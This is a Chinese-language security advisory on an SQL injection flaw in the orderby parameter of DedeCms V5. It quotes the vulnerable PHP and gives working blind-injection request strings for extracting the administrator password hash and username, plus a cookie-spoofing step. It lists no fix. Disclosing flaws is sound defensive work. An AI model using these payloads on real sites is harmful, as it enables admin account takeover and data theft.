织梦内容管理系统5.0版本排序参数注入漏洞

受影响版本：DedeCms V5

漏洞描述：

DedeCms自2004年诞生至今，已历经五个主要版本迭代。从V2时代起，该CMS便启用了自有模板引擎，采用XML命名空间风格的模板，对前端设计师而言更加直观友好。V2.1版本推出后，人气迅速攀升，成为国内CMS市场中的热门选择。进入V3版本，系统引入了模型概念，有效解决了传统内容管理中模块分散、数据管理不集中的长期痛点。然而，随着应用深入，模型化思路逐渐暴露出一些局限性，进而催生了DedeCms 2007（即V5版本）的诞生。

80sec安全团队在该版本中发现了多处严重的SQL注入漏洞。攻击者一旦成功利用这些漏洞，便可轻易查询数据库中的敏感信息——例如管理员密码、加密密钥等关键数据，进而完全控制整站。

具体问题出现在joblist.php和guestbook_admin.php等文件中，orderby参数未经过任何过滤或转义，直接拼接进数据库查询语句。以下为典型代码示例：

if(empty($orderby)) $orderby = 'pubdate';
//重载列表
if($dopost=='getlist'){
    PrintAjaxHead();
    GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
    $dsql->Close();
    exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
    global $cfg_phpurl,$cfg_ml;
    $jobs = array();
    $start = ($pageno-1) * $pagesize;
    $dsql->SetQuery("Select * From sec_jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
    $dsql->Execute();//orderby 带入数据库查询
……

可见，变量$orderby被直接传入SQL语句，没有任何安全措施。攻击者只需控制该参数，即可注入任意SQL指令，实现恶意操作。

测试方法

该漏洞属于盲注类型，攻击者可通过布尔判断逐字符猜解数据库中的管理员密码与用户名。以下是具体利用思路：

首先，向guestbook_admin.php发送请求，携带特定的orderby参数，例如：

GET /member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11'

若返回MySQL语法错误，则表明注入点可用。攻击者还可利用错误信息获取数据库表前缀。

接下来，通过构造条件判断语句逐一猜测管理员表中每个字符的ASCII值。例如：

orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+前缀_admin+where+id=1),位置,1))=ASCII值,1,(SELECT+pwd+FROM+前缀_member))

若条件成立，页面返回正常内容；否则返回“Subquery returns more than 1 row”错误。每次可确定一位密码或用户名的字符，循环直至完整获取。

实际利用时，攻击者可先用Cookie模拟已登录的管理员会话（例如DedeUserID=39255等），然后按上述步骤依次爆破出MD5密码（前24位）和用户名。一旦获取这些信息，管理员账户即完全暴露。

爱安全建议

暂无